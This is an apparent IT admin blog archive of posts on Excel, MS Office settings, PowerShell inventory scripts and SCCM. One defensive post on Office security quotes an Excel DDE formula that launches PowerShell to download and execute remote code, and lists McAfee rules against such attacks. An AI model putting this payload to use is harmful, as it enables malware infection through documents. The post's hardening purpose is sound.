Showing posts with label excel. Show all posts
Showing posts with label excel. Show all posts

Friday, 23 August 2024

Фільтрація в Excel.

Всім привіт.

Ніби не планував писати сьогодні довідку, але воно забувається час від часу. 

Ось колега мене знову перепитує як включити фільтрацію по двох несуміжних стовбчиках в таблиці Excel. Нічого дивного, але це можливо тільки при виконанні деяких умов, тому маємо наступне:

1) фільтр на несуміжних стовбчиках має бути накладений на всі стовбчики які знаходяться між ними. Тільки так, а ви просто користуєтесь перемиканням по значенням фільтру тільки в тих стовбчиках які вам потрібні.

2) якщо вам не подобається перше рішення, то просто виконайте переміщення необхідного стовбчика ближче одне до одного. І все, тепер фільтр буде працювати на стовбчиках поруч.)


Щасти вам.

Tuesday, 1 August 2023

Собираем статистику в один клик, v3.

Всем привет.

По некоторым причинам я решил отойти от сбора статистики по серверам в AIDA64 и ограничиться сбором информации сугубо через Powershell.

Если вы помните ранее я делал подобное с серверами HyperV.  На сегодня эта задача упростилась до сбора следующих параметров:

  •     Hostname    
  •     Serial number
  •     Product number (SKU)
  •     Model host     
  •     OS Type    
  •     OS Locale  
  •     OS Bits (32/64)   
  •     CPU Type   
  •     RAM Size (GB) 
  •     Disk Size (GB)
  •     IP Address of active physical adapters.

Исходя из этого я создал функцию Get-CMDBInfo которая в качестве параметра принимает только путь куда положить файл отчета в формате CSV. Далее процедура простая: либо вы экспортируете отчет в Excel вручную либо делаете это через:

Import-csv -Path 'c:\tmp\_SERVER01.csv' | Export-Excel -Path 'c:\tmp\database.xlsx' -AutoSize -WorksheetName Sheet1 -Append -Show

Во втором случае первая строка в database.xlsx должна соответствовать заранее структуре (шапке) отчета, т.е. быть такой: "a0Date_info","a0Hostname","a0Model","a0Product_number","a0Serial_number","a1CPU_Type","a1Disk_Size","a1RAM_Size","b0IP_Address","b1OS_Type","OS_Bits","OS_Locale","OS_release"

Tuesday, 11 July 2023

AIDA64 з використанням MS Access.

Всім привіт.

AIDA64 Business – це інструмент керування ІТ-активами та віддаленого моніторингу для Windows. За допомогою програми ви можете збирати дуже детальну інвентаризацію обладнання та програмного забезпечення з клієнтських комп’ютерів Windows у мережі вашої компанії та відстежувати зміни як апаратного, так і програмного забезпечення. Він дає змогу віддалено контролювати і керувати своїми комп’ютерами Windows, а також пропонує функції діагностики обладнання та порівняльного аналізу.

Але для цього  AIDA64 потребує попередніх налаштувань.

Ми плануємо зберігати звіти в базі даних, тоді нам потрібно налаштувати базу даних у меню "Параметри". Спочатку ми повинні вибрати Provider, а потім усі інші налаштування залежать від вибраного формату. Ми повинні вибрати тип бази даних, який ми використовуємо в нашій системі! У підпапці «SQL Schema» папки AIDA64 Business ми можемо знайти 8 файлів схеми бази даних (дев’ятий підтримуваний формат, ODBC, не потребує файлу схеми).

Схеми постачальника та бази даних

Макети таблиці бази даних SQL потрібно ініціалізувати за допомогою одного з файлів «DB - *.*», знайдених у папці SQL_Schema:

DB - Access.mdb – файл бази даних для MS Access 2000/XP/2003/2007

DB - Access97.mdb – файл бази даних для MS Access 97

DB - InterBase. sql – Схема для Borland InterBase та Firebird

DB - MySQL.sql – Схема для MySQL

DB - Oracle.sql – Схема для Oracle

DB - PostgreSQL .sql – Схема для PostgreSQL

DB - SQLServer.sql – Схема для MS SQL Server

DB - Sybase.sql – Схема для Sybase

Якщо ви такої папки не маєте, або загубили, то структура DB-Access.mdb виглядає так як на малюнку, і ви можете самостійно її створити. 



Tuesday, 30 May 2023

Права на книгу Excel під облікову користувача.

Всім привіт.

Нам відомо що листа або книгу Excel можу захистити паролем. Але мені стало цікаво чи можно надати окремі права на зміну до листа книги Excel саме обліковій певного користувача.  

Виявляється і таке можливо - але надати окремим користувачам дозвіл на редагування діапазонів на захищеному аркуші можна лише на комп’ютері, який входить до домену. Замість використання дозволів, які вимагають домену, також можна вказати пароль для діапазону.

Порядок дій трохи не тривіальний:

1. Виберіть аркуш, який потрібно захистити.

2. На вкладці Рецензування у групі Зміни натисніть кнопку Дозволити зміну діапазонів.


Ця команда доступна лише в тому разі, якщо аркуш не захищено.

3. Виконайте одну з таких дій:

- щоб додати новий діапазон із дозволом, який можна редагувати, натисніть кнопку Створити.

- щоб змінити наявний діапазон із дозволом на редагування, виберіть його в полі Діапазони захищеного листа, з яких захист знімається паролем, відтак натисніть кнопку Змінити.

- щоб видалити діапазон із дозволом на редагування, виберіть його в полі Діапазони захищеного листа, з яких захист знімається паролем, відтак натисніть кнопку Видалити.

4. У полі Назва введіть ім’я діапазону, який потрібно розблокувати.

5. У полі Клітинки введіть знак рівності (=) та посилання на діапазон, який потрібно розблокувати. Також можна натиснути кнопку Згорнути, виділити діапазон на аркуші, відтак натиснути кнопку Згорнути ще раз, щоб повернутися до діалогового вікна.


6. У разі захисту паролем введіть у полі Пароль діапазону пароль, який надає доступ до діапазону. Установлювати пароль необов’язково, якщо планується використовувати дозволи на доступ. Використання пароля дає змогу бачити облікові дані будь-якого авторизованого користувача, який редагує діапазон.

Saturday, 12 November 2022

Видеть изменения в документе.

Всем привет.

С введением в моду облаков многие документы  стали общими, и не только на просмотр, но и на правку. Как по мне самым важным в этом случае для меня будет наглядно узнать что менялось без меня, т.е. какой пользователь внес изменения и какие.

Есть такая фишка, и выглядит в MS Excel 365 она просто как "Показать изменения" на вкладке "Рецензирование". Полагаю что в  MS Word 365 это выглядит аналогично.



Т.е. кликаете ее и справа вычитываете кто, где и что менял. Наглядно? Не очень, но это лучше чем ничего. Я уверен что это дело привычки.


Имейте ввиду что эта функция доступна если документ общий, т.е. права на его изменения даны больше чем одному пользователю.

Успехов.

Saturday, 26 March 2022

Собираем статистику HyperV в один клик.

Всем привет.

Встала задача оперативно собрать информацию по HyperV виртуалкам. Задействуем Powershell. Оказалось что накидать парочку Get-запросов не проблема. Проблема больше коснулась самого экспорта данных, да так чтобы в Excel и чтобы было все красиво. В двух словах надо было слить воедино то что собирают 5 запросов в одну таблицу.  При этом, как вы понимаете, получается десяток колонок с разными названиями, которые не хотели вливаться в единый CSV-файл. 

В какой-то момент времени я понял, что значения хорошо вливаются если в CSV-файле уже есть колонка с нужным названием. То почему бы не сделать первую строку с нужными названиями  (headers) изначально? Есть. Вторую строку делаем пустой, чуть ниже обьясню почему.

Ну тогда поехали, выполняем Get-запросы и наполняем наш CSV-файл:

 # Get Hypername

$Hyper = $env:computername

# Set filename

$filename1 =  'd:\' + $Hyper + '.csv'

# Set headers

$str0 = '"Host","Host RAM(GB)","Name","State","Notes","Dynamic Memory","Start RAM(GB)","Min RAM(GB)","Max RAM(GB)","Assign RAM(GB)","vhdtype","vhdformat","Size VHD(GB)","path","IP","MacAddress","SwitchName","OperationMode","AccessVlanId","Status"'

# Output headers

$str0 | Out-File $filename1 -Encoding UTF8

',,,,,,,,,,,,,,,,,,,' | Out-File $filename1 -Append -Force -Encoding UTF8


# Get HyperV host 

$str1 = Get-VMHost | Select @{Name="Host";Expression={$_.Name +'.'+ $_.FullyQualifiedDomainName}},@{label='Host RAM(GB)';expression={$_.MemoryCapacity/1gb -as [int]}}

Tuesday, 14 December 2021

Полезная программа CMPivot.

Всем привет.

SCCM cодержит в себе многофункциональную отчетную подсистему, которая позволяет выводить разностроннюю информацию относительно последнего опроса своих клиентов. По умолчанию опрос происходит каждые 7 дней.

Начиная с версии 1806 в SCCM появилась встроенная программа CMPivot, которая имеет доступ к состоянию устройств в режиме реального времени. CMPivot позволяет быстро оценить состояние устройств в вашей среде и предпринять действия. При вводе запроса CMPivot запустит его в режиме реального времени на всех подключенных устройствах в выбранной коллекции. Возвращенные данные можно затем отфильтровать, сгруппировать и уточнить, чтобы ответить на бизнес-вопросы, устранить проблемы в среде или угрозы безопасности. 

Принцип работы CMPivot.

CMPivot соединяется с SCCM-клиентами с применением «быстрого канала», который связывает сервер с клиентом, а также используется для уведомления клиентов, получения данных об их состоянии, защиты с помощью Endpoint Protection. Если клиент находится в активном состоянии, то он сразу отвечает на запрос. С офлайновых клиентов CMPivot может получить данные в течение одного часа при условии, что программа не закроется, а компьютеры станут доступными и клиенты получат статус Active. Все полученные результаты будут временно храниться в базе данных (кеш данных).

Работа с CMPivot.

Интерфейс программы CMPivot разделен на три части. Слева расположена панель с объектами, посередине сверху – поле для написания запросов, а под ней – поле для отображения результатов.

Для работы с CMPivot должны быть права администратора:

SMS_Scripts – Read = Yes

Collections – Run Script = Yes

Чтобы запустить CMPivot, нужно в консоли SCCM зайти в Asset and Compliance → Overview → Device Collections, на любой коллекции компьютеров нажать правой кнопкой мыши и выбрать пункт Start CMPivot либо нажать кнопку "Start CMPivot" на верхней панели. Закладка "Главная" имеет развернутую справку по списку сущностей, операторов и функций, которые можно будет применять в запросах CMPivot. В поле слева можно развернуть любую сущность чтобы узнать какие свойства она может показать и формат (текст, дата, число, логика) этого свойства.

CMPivot использует подмножество модели потока данных Azure Log Analytics, запросы очень похожи на запросы языка SQL, но называются Kusto Query Language (KQL) . Совокупность клиентских сущностей и операторов разделяется «|», представляя поток табличных данных слева направо. Каждый следующий оператор получает набор табличных данных от предыдущего, дополняет новыми наборами из тела оператора и передает дальше по конвейеру. Конструкция выглядит так:

Сущность | оператор1 | оператор2 | ...

Комментарий начинается с //.

Wednesday, 21 July 2021

CSV-файл в Excel.


Всем привет.

Наступил я вчера на один фокус. Понадобилось мне срочно составить список хостов в формате CSV. Забросил выборку в Excel, даю ему cохранить как "CSV - разделитель запятая", и получаю CSV-файл без каких либо разделителей:

Name

Item1

Item2


Печалька. Но опытным путем удалось выяснить чтобы получить CSV-файл с одной колонкой и с разделителем нужно во вторую колонку один раз поставить любой символ, например "x". 

Получаем:

Name;х;

Item1;

Item2;

...

А далее читаем его так:

$PC = Import-Csv -Encoding UTF8 -path "d:\OLD_PC.csv" -Delimiter ";" 

А вот почему Excel считает разделитель ";" за запятую можно только гадать.)

Saturday, 17 July 2021

Моя Excel-ка.

Всем привет.

От меня вам летняя почемучка.

Он заметил ее не сразу, идущей где-то впереди, далеко по коридору, заметил мимолетом, и тут же остановился как вкопанный. Ему вдруг захотелось на секунду дольше продлить это мгновенье, этот силуэт в конце коридора, который выгодно выделялся светом из окна напротив нее. Непонятно, но ему уже было все равно куда она нашла, навстречу или уходила вдаль, ему хотелось только одного - лишь бы она шла и шла как можно дольше, но не дальше, он никак не мог оторвать взгляд от ее силуэта мечты художника... Черт, это какое-то наваждение нашло... В какой-то миг она приостановилась как-бы что-то вспоминая, а ему вдруг захотелось чтобы она что-то забыла захватить, пусть любой документик, и потому вернулась бы, а это такие прекрасные секунды вида,.... но такого не случилось. В следующую секунду она исчезла за поворотом. Тот час же свет из окна полностью залил пустой коридор. Эх, в тот момент ему не хотелось никуда двигаться, куда же он сам шел? Он уже не помнил, в памяти перед глазами все плыл и плыл прекрасный силуэт, куда-то вдаль, ах да, неважно куда она, и неважно откуда я шел... Может  постоять тут еще и она вернется? К своему удивлению он захотел этого еще больше, ... или просто рвануть и завернуть за ней за угол? Да нет, ерунда, сейчас все пройдет, что в этом мире зависит от правильного освещения, куда же это я, на перекур или куда еще мне надо было то.... Свет в конце коридора опять изменился. Нет, ну это уже слишком, я должен идти,... он еще раз поднял глаза. Ему стало ясно что она возвращается. Вот попал, надо либо идти либо... это что еще такое!?

Скрыться ему не дали, и сам он не сразу понял что говорят именно ему, ведь рядом никого кроме ее не оказалось. Что что, что-то про Excel, ну да, кто бы сомневался... Эх, и куда себя деть то? Так, спокойно, пытаемся в голове заменить картинку силуэта напротив на табличку из Excel-я, гм, ничего не выходит. Хех, а ее голос все еще продолжает звучать музыкой ручья... Это чтобы картинка ее силуэта закрепилась в его памяти  надолго. Да, да конечно, вы моя экселька, ну разумеется, и он обещает сделать то что она просила. Какое там, да он теперь Все для нее сделает, что она попросит и что не попросит тоже... Да бывает, бывает даже часто, у вас запрос появился на подключение к внешним данным? Эх, мне бы вот к вам подключиться, я даже забыл с какого параметра безопасности в таком случае начинают... Ну конечно, в вашем случае лучше всего включить автоматическое обновление связей в книге. Но это если связи налажены и источник достоверный, а какое ко мне доверие в темном коридоре... Чудно, но он вдруг обнаружил что эти мысли проносятся в его голове, а он молча соглашался с ней слегка кивая... В какой то случайный момент монолога силуэт растаял, ее уже там не было. И он мог поручиться что его собственное состояние стало таким же призрачным. Хм, надо себя срочно приводить в порядок, для начала вспомнить куда же я шел, и неплохо бы погрузиться в работу. Но перед погружением стоит нырнуть поглубже в этот чудный Excel. Может пригодиться...

Monday, 12 July 2021

Безопасность в MS Office.


Всем привет.

Как показывает практика популярным потоком заражения любой компании вирусом является  путь забрасывания файлов (обычно email) как документов на канцелярию, бухгалтерию, и, реже, на само руководство. Руководство на такие документы ведется редко, а вот какой-нибудь бухгалтер может с перепугу и открыть его если в теме будет красоваться типа "Неуплаченные налоги на...".

Поэтому правильная настройка офисных инструментов это половина успеха, вторая половина это обучаемость персонала как минимум не открывать документы полученные по почте, если там вдруг всплывает просьба о включении макроса или обновления внешних связей. Потму как, к примеру, наш добрый Excel легко допускает в формулах такое:

=cmd|' /c C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://cloudfront.com/1.dat\"))'|A0'

Про самообучаемость я писал ранее, а сегодня говорим про техническую сторону зашиты, по презентации Владислава Радецкого.

Что же следует сделать в MS Office? Определить следующие параметры.

Параметры ActiveX/Параметры для все пpиложений Office:

Выбрано - выводить запрос перед включением всех элементов управления с миниимальными ограничениями

Включено - безопасный режим (помогает ограничить доступ элементов управления к вашему компьютеру)

Защищенный просмотр: выбраны все три.

Для MS Word -

Параметры макросов:

Выбрано  - Отключить все макросы с уведомлением

Отключено - Доверять доступ к обьектной модели проектов VBA.

Для MS Excel -

Внешнее содержимое/Параметры безопасности на подключение к данным:

выбрано - запрос на подключение к данным.

Параметры безопасности для связей в книге:

выбрано - запрос на автоматическое обновление связей в книге.


Если вы используете McAfee ENS, то активировать следующие политики в Policy Category/ Exploit Prevention для всех типов обьектов:

6131 T1047 - Weaponized OLE object infection via WMI: Block+Report

6109 T1407 - Powershell - Suspicious wmi script execution: Block+Report

6108 Powershell - Suspicious downloading string execution: Block+Report

6127 Suspicous LSASS Access from Powershell: Block+Report

Успехов!

Monday, 1 February 2021

MS Equation Editor недоступен!


Всем привет.

Имея желание вставить в свой документ формулу, пользователь MS Office может наблюдать неприятное сообщение "Приложение Microsoft Equation 3.0 недоступно".

Все это из-за того, что компания Microsoft нашла (и ей в этом активно помогали хакеры) в своем компоненте ряд уязвимостей, в результате чего, было решено его просто удалить. Microsoft отказались от его поддержки во всех версиях Microsoft Word (c 2007 по 2016) для которых выпускаются обновления безопасности.

Нежелание Microsoft продолжать поддерживать Equation Editor было понятно. Их ручное исправление недавно обнаруженной уязвимости показывает, что по какой-либо причине их стандартный процесс исправления не может быть применен к редактору уравнений, и такое отклонение может быть дорогостоящим. Вы будете удивлены, но до сих пор попадаются зловреды которые  нацелены на использование уязвимостей именно в Equation Editor.

Прикол, в версии Word 2016 объект Equation 3.0 доступен, но с большими оговорками. При его вставке в документ или правки существующего вам будет предложено перейти на использование плагина MathType от компании Wiris. Если вы не согласитесь, то далее выскочит сообщение относительно шрифта MT Extra. И т.д. Мне кажется такие изыскания не стоят ваших нервов. 



Поэтому путей решения этой проблемы два:

1. Обновить систему до Microsoft 365 или Office 2019, где вы сможете использовать конвертер старых формул в новую разметку. Современный встроенный в Office редактор уравнений использует язык разметки Office Math (OMML) в качестве предпочтительного формата для уравнений в файлах Office. Насколько такое преобразование будет успешным судить не берусь.

2. Использовать плагин MathType от компании Wiris. Плагином можно пользоваться только в течение пробного периода 30 дней. После окончания пробного периода программа будет работать в режиме MathType Lite, где вы так же сможете пользоваться функциями редактора формул. Тем более что это официальная рекомендация от самой Microsoft. Опять же MathType будет использовать шрифт MT Extra, поэтому наличие его в вашей системе обязательно.

Успехов.


Thursday, 7 January 2021

Power Automate - первый старт.

Всем привет. 

Рассказывая про Power BI нам мимоходом упомянули про Microsoft Power Platform. На этой платформе Microsoft сделала ставку на силу и собрала под одной крышей сервисы Power Apps, Power BI, Power Automate и Power Virtual Agents.

Поскольку для Power BI надо хорошо знать Power Query в котором я пока плаваю, я решил попробовать по ходу Power Automate чисто из практических целей для моей работы.

Microsoft Power Automate (ранее Microsoft Flow) - облачный сервис автоматизации рутинных и повторяющихся действий и рабочих процессов, позволяющий создавать быстрые и эффективные инструменты сбора и обработки данных из различных источников. 

Анонсы утверждают что Power Automate позволяет быстро типовые процедуры обмена информацией между приложениями и WEB-службами, ее синхронизацию на локальных и облачных ресурсах, перевод и сохранение в нужном формате и на нужных ресурсах. Эти процессы можно использовать для сбора данных, синхронизации файлов, получения уведомлений и других целей. 

Основная идея Microsoft Power Automate - потоки (flows), которые связывают события и последовательности действий (такими событиями и последовательностями могут быть службы и приложения) и передают данные между приложениями (как облачными, так и локальными). Потоки могут запускаться автоматически по событию, запускаться вручную нажатием кнопки или запускаться по расписанию. При этом Power Automate включает возможности логического ветвления потоков в зависимости от выполнения условий и выполнения операций над передаваемыми данными. Например, получение письма на заданный адрес может служить признаком запуска определенных процедур в том или ином приложении. При необходимости для разработчиков доступны API.

Пример 1.

Ну что ж, пробуем самое простое - хочу получать прогноз погоды. Все сообщения направляем себе на почту. Хотя также легко можно организовать push-сообщения на телефон.

Тут есть такая особенность - если вы находитесь там же и где и ваш провайдер интернет тогда можете использовать встроенные динамические переменные (долгота и широта), если же нет, то лучше указывать ваши GPS-координаты. Но не факт, что в MSN имеется прогноз погоды именно для вашей местности.

Monday, 6 July 2020

Локальная статистика печати #2.

Всем привет.

Читатель моего блога в тему мониторинга локальной печати предложил обратить внимание на PaperCut Print Logger. Утилита простая и бесплатная. Наверное как раз самое удачное решение если ваша фирма не готова закупать что либо новое в ближайшее время.

Софтинка инсталируется с одного файлика на ПК на котором работает локальный принтер. И становится службой которая работает от системной учетной записи.


А дальше все просто - статистика кто, что и когда печатал ложится в файл журнала. Его можно глянуть в браузере, а можно экспортировать в Excel формат csv. Размещение файла журнала можно в конфигураци перенаправить на общий сетевой ресурс.

Вот и все.

Friday, 3 July 2020

Office 365 и зашифрованный файл.

Всем привет.

Сегодня маленький фокус от Office 365. Совсем маленький, на тему файлов закрытых паролем в Excel или Word. Так вот,  если вам прислали защищенный файл и вы его тут же захотели открыть то получите предупреждение о том что шифрование в облаке не поддерживается.


И предложение открыть файл в классической, т.е. desktop-версии, программе. А это уже зависит от того есть ли она у вас.) Потому как лицензия уровня Е1 предполагает у вас только наличие облачной версии. Ок, допустим у вас есть Office 2016, но я вам предлагаю все равно не соглашаться, а вначале скачать этот файл себе на ПК. Ибо бдительный Office 2016 назадает вам столько вопросов до самого запроса пароля, что вы сами будете не рады.

Успехов.

Wednesday, 1 April 2020

Регулярные выражения и Excel.

Всем привет.

Каждый из вас слышал про Регулярные выражения (Regexp). Они применимы в почти в любом языке программирования и многих редакторах.

Regexp представляет собой группу символов или знаков, которая используется для поиска определенного текстового шаблона. Другими словами Регулярное выражение – это шаблон, который обработчик регулярных выражений пытается сопоставить с введенным текстом. Шаблон состоит из одно-символьных или много-символьных литералов, операторов или конструкций. 


К Regexp приходят многие хотя этот путь не близкий. После того как их прочувствуешь понимаешь что как же ты их не использовал ранее. 

Regexp можно использовать даже в Excel. Но, скажете вы,  в уважаемом Excel есть же функция ПОИСК(искомый_текст;текст_для_поиска;нач_позиция).

Где Искомый_текст — это искомый текст. Можно использовать символы шаблона знак вопроса (?) и звездочка (*) в аргументе искомый_текст. Знак вопроса соответствует любому символу; звездочка соответствует любой последовательности символов. Если нужно найти символ знак вопроса или звездочку, то следует поставить перед ними знак тильда (~). Если искомый_текст не найден, то возвращается значение ошибки #ЗНАЧ!.

Текст_для_поиска — это текст, в котором нужно найти искомый_текст.

Нач_позиция — это номер символа в тексте текст_для_поиска, с которого следует начать поиск.

Если аргумент опущен, то он полагается равным 1.

Если нач_позиция не больше 0 или больше, чем длина аргумента текст_для_поиска, то возвращается значение ошибки #ЗНАЧ!.

Зачем мне что-то еще?

Tuesday, 3 March 2020

Microsoft Office Alerts.

Всем привет.

Случается что приложения MS Office себя ведут непредсказуемо. Ситауция напрягает когда надо выяснить причину сбоя апостеори. Но насколько я помню в старых версиях MS Office создавал свои журналы событий в Windows из которых можно было извлечь хоть какую то информацию.

2007
(Get-EventLog -LogName "OSession" -Source "Microsoft Office 12 Sessions" -EntryType "Information" -Message "*Microsoft Office*session lasted*" -Newest 1).TimeGenerated;

Не увидев этих  журналов в Windows 8/10 я уж было решил что все события ложаться в один их журналов самой Windows. Но к счастью ситуация изменилась не так кардинально. Просто теперь журнал MS Office один и находится глубже:
Журналы приложений и служб/Microsoft Office Alerts
а файл его такой
%SystemRoot%\System32\Winevt\Logs\OAlerts.evtx

Обращайте внимание на имя источника событий в зависимости от версии MS Office:
2010
(Get-EventLog -LogName "OAlerts" -Source "Microsoft Office 14 Alerts" -EntryType "Information" -Newest 1).TimeGenerated;

2013
(Get-EventLog -LogName "OAlerts" -Source "Microsoft Office 15 Alerts" -EntryType "Information" -Newest 1).TimeGenerated;

2016
(Get-EventLog -LogName "OAlerts" -Source "Microsoft Office 16 Alerts" -EntryType "Information" -Newest 1).TimeGenerated;

А вот и пример события из журнала. Самые безобидные события могут вам сказать какой файл обрабатывался на вашем ПК и когда:
Имя журнала:   OAlerts
Источник:      Microsoft Office 16 Alerts
Дата:          10.11.2019 20:58:37
Код события:   300
Категория задачи:Отсутствует
Уровень:       Сведения
Ключевые слова:Классический
Пользователь:  Н/Д
Компьютер:     Prongeng
Описание:
Microsoft Word
Вы хотите сохранить изменения в ReviewMuseum.docx?
P1: 200054
P2: 16.0.4266.1001

Это, кстати, не единственный  источник такой информации.)
Успехов.

Saturday, 15 February 2020

Переход на Office 365.

Всем привет.

Вот уже и 2020, вот уже и переходим на Office 365. Что нового в нем в сравнении с MS Office 2016-м анализировать не буду. Так как основные усилия идут на сам переход. Ожидалось что это будет также просто как переход с 2013-го, но оказалось малость не так). Прежде всего замечу что для работы с Office 365 часто достаточно перейти по ссылке office.com  и далее ввести свой адрес почты на который вы регистрировались. И вы получите в своем web-браузере весь пакет Office 365. Весь да не весь - в онлайн-версии отсутствует MS Access. Поэтому есть еще вариант установки Office 365 на ваш ПК. Однако в этом случае такому приложению как MS Visio придется помахать ручкой, оно не входит в пакет Office 365 и требует отдельного лицензирования.

А к такому варианту нужно малость подготовиться.

Прежде всего надо добавить разрешение на регистрацию устройств в облаке:
Computer Configuration\Policies\Administrative Templates\Windows Components\Device Registration
Register domain joined computers as devices – Enabled

Дописать облачные сервисы в доверенные зоны:
User Configuration\Windows Components\Internet Explorer\Internet Control Panel\Security Page
Site to Zone Assignment List:
https://autologon.microsoftazuread-sso.com 1
https://aadg.windows.net.nsatc.net 1

Необходимо прописать системный прокси. Внимание - это не прокси для web-браузера!
Сделать это можно двумя способами:

- в командной строке:
netsh winhttp set proxy myclust.forza.com:9090 "*.forza.com;<local>"
ИЛИ
- в ключе реестра:
Hive - HKEY_LOCAL_MACHINE
Key path - SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Value name - WinHttpSettings
Value type - REG_BINARY
Value data - 28016c...3e (Value data нужно скопировать из аналогичного ключа в ветке пользователя)

Saturday, 16 November 2019

Супер надстройки для Excel.

Всем привет.

Я люблю Excel как самую популярную часть пакета Microsoft Office. Считаю что это самая удачное и мощное приложение для офисного работника. Но даже в таком приложении чего-то не хватает. Разумеется это касается тех операций которые часто необходимо выполнять и желательно одним  кликом. Что делать? Ставить расширение! И таки да, они существуют. Они выглядят как дополнительная вкладка на панели, и содержательны почти как второй Excel. Ниже обзор самых популярных из них. Их авторы проделали большой труд поэтому они платные, за исключением одной.

Kutools for Excel

Kutools для Excel - это удобная коллекция надстроек Microsoft Office Excel.
Разработчик ExtendOffice. Платная.

Kutools для Excel - это удобная коллекция надстроек Microsoft Office Excel, которая освобождает вас от длительных операций. Работая с Microsoft Excel, вы будете часто испытывать дискомфорт от повторяющихся операций, особенно при работе с диаграммами, таблицами, отчетами и так далее.

Если вы устали от поиска большого количества пустых листов и ячеек или разочарованы переименованием большого количества книг по очереди, то Kutools для Excel - это то, что вам нужно прямо сейчас.

Помимо часто используемых функций Microsoft Excel, он расширяет и добавляет более продвинутые функции для удобства работы. Например, вы можете объединить таблицу и ячейки, удалить пустые ячейки и пакетные операции одним щелчком мыши в Microsoft Excel. Коллекция надстроек Kutools для Excel, несомненно, является невероятно удобной надстройкой Excel, позволяющей сэкономить ваше время и усилия.

Сайт программы Kutools for Excel

Daniel’s XL Toolbox

Daniels XL Toolbox - это бесплатная надстройка с открытым исходным кодом для программного обеспечения Microsoft Excel для работы с электронными таблицами Разработчик Daniel Kraus.
Бесплатная.

Daniel XL Toolbox - это бесплатная надстройка с открытым исходным кодом для программного обеспечения для работы с электронными таблицами Microsoft Excel, которая помогает анализировать и представлять данные и повышает производительность. Его целевая аудитория - учёные-натуралисты, но она оказалась полезной и для промышленности. Набор инструментов XL выпущен под лицензией GNU General Public (GPL v2).

Saturday, 19 October 2019

Power Query + Pivot + View + Map и Power BI.

Всем привет.

В наше время тому кто себя чувствует уверенно при работе в Excel все чаще попадаются  новые понятия Power Pivot, Power Query, Power View, Power Map и Power BI. И зачем это нам? И какая между ними разница?  

Я бы назвал это следующим продвинутым уровнем по использованию Excel. Но как решить, какой инструмент следует использовать и когда. Смотрите сами.

Power Query - это инструмент ETL (Extract, Transform, Load) самообслуживания, который работает как надстройка Excel. Он позволяет пользователям извлекать данные из разных источников, манипулировать указанными данными в форму, соответствующую их потребностям, и загружать ее в Excel. В состав Excel 2016 входит по умолчанию.

Power Pivot - это компонент моделирования данных в памяти, который обеспечивает сжатое хранение данных и чрезвычайно быструю агрегацию и расчет. Он также доступен как часть Excel и может использоваться для создания модели данных в книге Excel. Power Pivot может загружать данные самостоятельно или может загружать данные в Power Query. Он очень похож на табулярную модель SSAS (SQL Server Analysis Services), которая похожа на серверную версию Power Pivot. . В состав Excel 2016 входит согласно корпоративной лицензии.

Power Map - это трехмерный (трехмерный) инструмент визуализации данных, который позволяет вам искать информацию по-новому. Карта мощности позволяет обнаруживать идеи, которые вы не видите в традиционных двумерных (двумерных) таблицах и диаграммах. В состав Excel 2016 входит согласно корпоративной лицензии. Загрузка в виде кнопки «3D-карта» на вкладке «Вставка» может присутствовать изначально.

Power View - интерактивный инструмент визуализации, который предоставляет пользователям интерфейс перетаскивания, позволяющий им быстро и легко создавать визуализацию данных в своих книгах Excel (опять же используя модель данных Power Pivot). Для работы с Power View необходимо установить на  компьютере движок Silverlight - майкрософтовский аналог Flash.

Power BI - это отдельный от Excel продукт работающий как сервис SaaS, который позволяет бизнес-пользователям обслуживать собственные потребности бизнес-аналитики. Он обеспечивает встроенную возможность подключения к сервисам SaaS, таким как Salesforce и многие другие. Он обеспечивает подключение к локальным и облачным источникам с использованием комбинации прямого запроса и периодического обновления данных. Он доступен в качестве услуги freemium. Это преемник "Power BI for Office 365", основанный на продуктах Microsoft Office 365 и SharePoint Online, а через Excel 2013 включает Power Query, Power Pivot и Power View.

Power BI (с O365 и SharePoint Online) предоставляет сайт, на котором пользователи могут загружать и делиться своим созданным контентом с другими пользователями, а также управлять шлюзами в источник корпоративных данных, включать обновление данных и расширенные функции, такие как Q & A, который позволяет естественным языком запрашивать модели данных.

Microsoft также выпустила автономное приложение Power BI Desktop , которое связывает Power Query, Power Pivot и Power View в автономном приложении, устраняя ограничение Excel 2013. Power BI Desktop доступен бесплатно.

Подробнее читаем здесь https://www.planetaexcel.ru/techniques/24/5854/


Sunday, 15 September 2019

OneDrive как сетевой ресурс.

Всем привет.

При использовании сервиса "OneDrive для бизнеса" частенько может пропадать связь с ресурсом или нужным документом. Или пользователю неверно нарезали права доступа. Может потребоваться определенное время для решения такой проблемы.

В первом приближении в качестве временного решения (и проверки его прав на ресурс) можно дать сетевой доступ как к обычному сетевому ресурсу. Начинаем подключение сетевого диска.


Выбираем "Подключиться к web-сайту..."


А далее указываем адрес web-ресурса через http.

Успехов.

Версия на печать

Популярное